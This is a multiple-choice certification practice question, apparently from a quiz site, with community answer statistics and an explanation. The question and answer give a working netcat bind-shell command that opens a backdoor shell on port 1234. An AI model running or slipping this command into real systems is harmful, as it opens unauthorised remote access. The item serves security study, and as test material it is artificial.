Which of the following commands can be used to create a backdoor shell on port 1234 on a Linux or Unix system?

The correct answer is D. nc -l -p 1234 -e /bin/sh. The -e command-line option is required to execute a backdoor shell. On Linux and Unix systems, /bin/sh is an appropriate path to a shell. On Windows systems, cmd.exe is an appropriate shell.

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Question

Options

Anc -p 1234 -e /bin/sh
Bnc -p 1234 -x /bin/sh
Cnc -l 1234 -x /bin/sh
Dnc -l -p 1234 -e /bin/sh

How the community answered

(29 responses)

A
3% (1)
B
3% (1)
D
93% (27)

Explanation

The -e command-line option is required to execute a backdoor shell. On Linux and Unix systems, /bin/sh is an appropriate path to a shell. On Windows systems, cmd.exe is an appropriate shell.

Topics

#netcat#backdoor shell#bind shell#post-exploitation

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